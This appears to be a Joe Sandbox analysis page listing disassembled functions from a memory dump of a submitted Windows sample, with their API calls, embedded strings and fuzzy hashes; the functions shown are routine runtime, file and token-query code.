Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF72AA71249
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF72AA7111F
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF72AA710F1
1.3.1, xrefs: 00007FF72AA7107E
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF72AA710B4
malloc, xrefs: 00007FF72AA710F8, 00007FF72AA71126

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Message
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-2813020118
Opcode ID: c5a9a5a5a75b3a3f582f972b55239d0c98b0654be56bca29ea8b8a9d776bb01e
Instruction ID: 110677a64df45868f48d872b85f6956c0f0661a20eddc47d075674466c821d40
Opcode Fuzzy Hash: c5a9a5a5a75b3a3f582f972b55239d0c98b0654be56bca29ea8b8a9d776bb01e
Instruction Fuzzy Hash: FD51C322A0868285F720BB519C50BBEE2A1FF80794FC44175DE4D477A9EF3CE94ACB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8F7B0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF72AA8FB4A,?,?,-00000018,00007FF72AA8B8F7,?,?,?,00007FF72AA8B7EE,?,?,?,00007FF72AA86A32), ref: 00007FF72AA8F92C
GetProcAddress.KERNEL32(?,?,?,00007FF72AA8FB4A,?,?,-00000018,00007FF72AA8B8F7,?,?,?,00007FF72AA8B7EE,?,?,?,00007FF72AA86A32), ref: 00007FF72AA8F938

Strings

ext-ms-, xrefs: 00007FF72AA8F889
api-ms-, xrefs: 00007FF72AA8F876

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 7d0b8cd1019d27a9e16eec9e317f5686f28e1310d53eba994d83145821214b12
Instruction ID: d4576e2bd8c7ca24fba2709dc2f2e99edb93f804e35615f957ab1a437cfafdda
Opcode Fuzzy Hash: 7d0b8cd1019d27a9e16eec9e317f5686f28e1310d53eba994d83145821214b12
Instruction Fuzzy Hash: DD41C322B19A0389FB56EB16AC00D79A2B5FF04B90F984176DD0E47784EF3CE4478B20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8C5FC Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA8CA29

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 238f6c3964800fec6045ce986a1ebb87f5daa1cce848d40dd7ddd8ba0dfe7067
Instruction ID: 5db22064ae96675a7a53a24e307def15ff6bd79a7827eabb2d7ca9acb75cfa20
Opcode Fuzzy Hash: 238f6c3964800fec6045ce986a1ebb87f5daa1cce848d40dd7ddd8ba0dfe7067
Instruction Fuzzy Hash: AFC1E222A0968399F760AF149844ABDF775EF80B80F9541B1DA4E07391DF7DE84A8F60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA78650 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF72AA78670
OpenProcessToken.ADVAPI32 ref: 00007FF72AA78681
GetTokenInformation.KERNELBASE ref: 00007FF72AA786A6
GetLastError.KERNEL32 ref: 00007FF72AA786B0
GetTokenInformation.KERNELBASE ref: 00007FF72AA786F0
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF72AA7870C
CloseHandle.KERNEL32 ref: 00007FF72AA78724

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: b199e8e08dbafb2fefb291e728498370fa2251d2026f483e6f64b3b10aef1c42
Instruction ID: 50e846c83c656a7d64b1c8e186dccf7213dd21aace4a2fe050291187b948fe4c
Opcode Fuzzy Hash: b199e8e08dbafb2fefb291e728498370fa2251d2026f483e6f64b3b10aef1c42
Instruction Fuzzy Hash: 0E217531A08A4386FB50AB55EC4493EE3B0EFC57A0F900275DA6D47AE4EF6CD4468F20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA78970 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF72AA78650: GetCurrentProcess.KERNEL32 ref: 00007FF72AA78670
Part of subcall function 00007FF72AA78650: OpenProcessToken.ADVAPI32 ref: 00007FF72AA78681
Part of subcall function 00007FF72AA78650: GetTokenInformation.KERNELBASE ref: 00007FF72AA786A6
Part of subcall function 00007FF72AA78650: GetLastError.KERNEL32 ref: 00007FF72AA786B0
Part of subcall function 00007FF72AA78650: GetTokenInformation.KERNELBASE ref: 00007FF72AA786F0
Part of subcall function 00007FF72AA78650: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF72AA7870C
Part of subcall function 00007FF72AA78650: CloseHandle.KERNEL32 ref: 00007FF72AA78724

LocalFree.KERNEL32(00000000,00007FF72AA73B4E), ref: 00007FF72AA789FC
LocalFree.KERNEL32 ref: 00007FF72AA78A05

Strings

S-1-3-4, xrefs: 00007FF72AA789B1
Security descriptor string length exceeds PATH_MAX!, xrefs: 00007FF72AA78A13
D:(A;;FA;;;%s), xrefs: 00007FF72AA789E7
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF72AA789D2

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PATH_MAX!
API String ID: 6828938-1817031585
Opcode ID: 4a0a64217b4c8618eeaa0cd08dc669878e89b812572458f449172cc44ebe3956
Instruction ID: 345206ee4fa43a90d53a948fe088b9c2285a68a52f2cbfdee4c3dda2b31c83ad
Opcode Fuzzy Hash: 4a0a64217b4c8618eeaa0cd08dc669878e89b812572458f449172cc44ebe3956
Instruction Fuzzy Hash: AA213121A1974691FB50FB20ED05EFEA275EF48780FC405B2EA4E43696DF3CD9468A60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8DB00 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF72AA8DAEB), ref: 00007FF72AA8DC1C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF72AA8DAEB), ref: 00007FF72AA8DCA7

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 284863bd4a310ef6da540e9dcdc048057ff4d3a865a35ff47f01b15d00241537
Instruction ID: 13fd19d4cdaecd036342e9bd5129827c4e3bf9a9b5a4f106b48b35dc575bcae6
Opcode Fuzzy Hash: 284863bd4a310ef6da540e9dcdc048057ff4d3a865a35ff47f01b15d00241537
Instruction Fuzzy Hash: 3D91C262E087528DF751AF659C40ABDABB1FF04B88F9441B9DE0E56685CE78E443CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA902CC Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF72AA903BC
_get_daylight.LIBCMT ref: 00007FF72AA903CD
_get_daylight.LIBCMT ref: 00007FF72AA903DE
_isindst.LIBCMT ref: 00007FF72AA904A9

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 20717f0f8a23f829e42a50c12fade424b7597f0ff0c8303254556571f0db49b3
Instruction ID: 5a090ac74b88e69929fd8635bca4b2bdc6a5c1fbb9601cef2f7ddf9e09b1ab90
Opcode Fuzzy Hash: 20717f0f8a23f829e42a50c12fade424b7597f0ff0c8303254556571f0db49b3
Instruction Fuzzy Hash: CD51C672F042128AFB14EB64DD56EBCB7B5EF80398F900275DD1E52AD5DB3CA6438A10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA85E34 Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF72AA85E67
GetFileInformationByHandle.KERNELBASE ref: 00007FF72AA85EC9
GetLastError.KERNEL32 ref: 00007FF72AA85F5A
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,?,00007FF72AA85D6C), ref: 00007FF72AA85FA6

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 3d1d3b8ccd1b76bd7119aeb29c8dfefef03f5bbf8e70fbbc1af6370d66918679
Instruction ID: dbd53388454d8e6dd69d7c0444ba0a445296cb9a64f0d209e9e6d432b1df2abd
Opcode Fuzzy Hash: 3d1d3b8ccd1b76bd7119aeb29c8dfefef03f5bbf8e70fbbc1af6370d66918679
Instruction Fuzzy Hash: 80518D22A047428EFB10EF60D940BBDB7B2EF48B58F904175EE0D47689DF38D8428B20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA85CE0 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA85D0D
CreateFileW.KERNELBASE ref: 00007FF72AA85D4C
CloseHandle.KERNEL32 ref: 00007FF72AA85D81

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: 381f375d345d967458512f251a74178214fc3b76ffcff344aa252820e57b685e
Instruction ID: b549af14e026b9f52090eea83fa2d7fbb992f5a58f8743527a87385e50ad3f4e
Opcode Fuzzy Hash: 381f375d345d967458512f251a74178214fc3b76ffcff344aa252820e57b685e
Instruction Fuzzy Hash: 0C41D322D187828BF750EB2099447A9E371FF94764F508375EE9C03AD6DF6CA5A28B10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA7C1BC Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72AA7C38C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF72AA7C3A0

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF72AA7C1E0
__scrt_release_startup_lock.LIBCMT ref: 00007FF72AA7C24E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF72AA7C2A1

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: 6f7f5303e9b22c034abd0ab4f6e45a615f00bbc4bee0f7f82c8393816be5d00e
Instruction ID: ebbd7289fe0fa8b38ad7572d1f76f392576b2c1f3fd13d187ead6fba6895d193
Opcode Fuzzy Hash: 6f7f5303e9b22c034abd0ab4f6e45a615f00bbc4bee0f7f82c8393816be5d00e
Instruction Fuzzy Hash: CC313C20A0864346FB14BF64AC55FBEE2B1EF51784FC554B4D90E472D7DE2CA9078A70

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8A5A0 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF72AA8A59C), ref: 00007FF72AA8A5B1
TerminateProcess.KERNEL32(?,?,?,00007FF72AA8A59C), ref: 00007FF72AA8A5BC
ExitProcess.KERNEL32 ref: 00007FF72AA8A5CB

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 4ba61a3cc0556e7c92b6fc1e72a638e9c9ea62dc27ce852986ab15971a897a88
Instruction ID: b6aefcbd7029057e194b88ec9bc1339a9321e29fc5a1f2c90121c49026c9f6d4
Opcode Fuzzy Hash: 4ba61a3cc0556e7c92b6fc1e72a638e9c9ea62dc27ce852986ab15971a897a88
Instruction Fuzzy Hash: 31D06764B08A438AFB583F705C99C799275DF48741F9114BCD81B16393CE2CA98A4B60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA78B70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE ref: 00007FF72AA78BB0

Part of subcall function 00007FF72AA72C30: MessageBoxW.USER32 ref: 00007FF72AA72D05

Strings

Security descriptor is not initialized!, xrefs: 00007FF72AA78B80

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: CreateDirectoryMessage
String ID: Security descriptor is not initialized!
API String ID: 73271072-986317556
Opcode ID: c8cf0510d3cf58293c8056e04266fc05212419b77e6f78cec61fc6e6c2a7edb1
Instruction ID: 0d688ca75ee5c2ca90d35d723b441ad191df0ac67d955cc74444ff23b1e032ec
Opcode Fuzzy Hash: c8cf0510d3cf58293c8056e04266fc05212419b77e6f78cec61fc6e6c2a7edb1
Instruction Fuzzy Hash: 4EE06DB1A18B4786FB20AB24EC45A6AA2A0FF95354FC01374E14C463E4EF3CD25A8F00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8085C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA808A0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA80997

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: b54b3d0524db6e35a6be9399f4168b0f839baac618e96e940c4dc5df63f75cb8
Instruction ID: 88119b4f911cb014e6cd16844b6e35f4a89e722504cd7b308b89c9b77a1c0441
Opcode Fuzzy Hash: b54b3d0524db6e35a6be9399f4168b0f839baac618e96e940c4dc5df63f75cb8
Instruction Fuzzy Hash: 2351D561B092428EFB28BA259C01E7AF6A1FF44BA4F944774DDAD077C5CE3CD4428E61

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8B6FC Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF72AA8B579,?,?,00000000,00007FF72AA8B62E), ref: 00007FF72AA8B76A
GetLastError.KERNEL32(?,?,?,00007FF72AA8B579,?,?,00000000,00007FF72AA8B62E), ref: 00007FF72AA8B774

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: e3b73f063bb60367d817196ec2a4f8f6eb52bee7e7896c4ceb0739ce7562b917
Instruction ID: 919efa64e07045059cc3686da9079a3890a51d931daae649b96580ba2c87203c
Opcode Fuzzy Hash: e3b73f063bb60367d817196ec2a4f8f6eb52bee7e7896c4ceb0739ce7562b917
Instruction Fuzzy Hash: 4021DB61F0A78249FF5177209C84A7D92A2EF447E0F8446B5DB6D473D5CE6CE4464B20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8CCD4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF72AA8CE6D), ref: 00007FF72AA8CD20
GetLastError.KERNEL32(?,?,?,?,?,00007FF72AA8CE6D), ref: 00007FF72AA8CD2A

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 62a26f8d1512d31d847f2a475d98554d5a752059faf1bb854899a2cf804e20f8
Instruction ID: 4cdaa11f720ae9bea211439b4150fc4369715627bac5457541e663f8b415cd01
Opcode Fuzzy Hash: 62a26f8d1512d31d847f2a475d98554d5a752059faf1bb854899a2cf804e20f8
Instruction Fuzzy Hash: 02119061A08A8289EB10AB25AC44569E771EF84BF4F944372EA7D077D9DE3CD0528B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA85FDC Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF72AA85EF1), ref: 00007FF72AA8600F
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF72AA85EF1), ref: 00007FF72AA86025

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 32438027c896fc9b7cfa90544aa36bc1c4b0d83a992ad2bd2587f4ad36304ad4
Instruction ID: 58b706508d0ddb1c0efd1bdea2c588a942b40ce4ddab1fbe506d1fe569eb3748
Opcode Fuzzy Hash: 32438027c896fc9b7cfa90544aa36bc1c4b0d83a992ad2bd2587f4ad36304ad4
